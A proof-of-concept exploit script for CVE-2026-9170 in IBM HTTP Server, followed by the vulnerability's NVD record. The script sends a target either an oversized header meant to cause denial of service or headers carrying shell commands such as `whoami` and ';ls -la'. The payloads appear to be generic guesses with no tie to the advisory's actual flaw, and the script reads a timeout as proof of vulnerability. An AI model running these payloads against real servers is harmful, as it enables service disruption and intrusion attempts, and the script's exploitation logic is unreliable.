CVE-2026-9170

# CVE-2026-9170 PoC - IBM HTTP Server Input Validation RCE/DoS # Target: IBM HTTP Server 8.5, 9.0 # Note: This PoC is for educational and authorized testing purposes only import socket import sys def send_exploit(target_ip, target_port, payload_type='dos'): """ Send exploit payload to vulnerable IBM HTTP Server Args: target_ip: Target server IP address target_port: Target server port (default: 80 or 443) payload_type: 'dos' for DoS or 'rce' for RCE attempt """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) if payload_type == 'dos': # Denial of Service payload - malformed HTTP request # Triggers improper input validation payload = b'GET / HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' payload += b'Accept: */*\r\n' # Malformed header with excessive length to trigger validation error payload += b'X-Overflow: ' + b'A' * 65536 + b'\r\n\r\n' else: # Potential RCE payload - command injection via input validation bypass payload = b'GET / HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' # Attempt to inject shell commands through unvalidated input payload += b'X-Command: `whoami`\r\n' payload += b'X-Encoded: ;ls -la\r\n' payload += b'\r\n' print(f'[*] Sending {payload_type.upper()} payload to {target_ip}:{target_port}') sock.send(payload) # Receive response response = sock.recv(4096) print(f'[*] Response received: {len(response)} bytes') sock.close() return True except socket.timeout: print('[!] Connection timeout - server may be vulnerable and not responding') return True except Exception as e: print(f'[!] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-9170.py <target_ip> <target_port> [dos|rce]') print('Example: python cve-2026-9170.py 192.168.1.100 80 dos') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) ptype = sys.argv[3] if len(sys.argv) > 3 else 'dos' send_exploit(target, port, ptype)

{"cve": {"id": "CVE-2026-9170", "sourceIdentifier": "[email protected]", "published": "2026-05-26T18:16:57.987", "lastModified": "2026-06-11T14:16:33.060", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM HTTP Server 8.5, and 9.0 is vulnerable to denial of service and a potential remote code execution due to improper input validation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:http_server:8.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "000FBE9B-D6A0-4C2F-9466-B4E3EBC023AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:http_server:9.0.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "E4689F61-762A-4865-942F-FC6245225607"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7274065", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}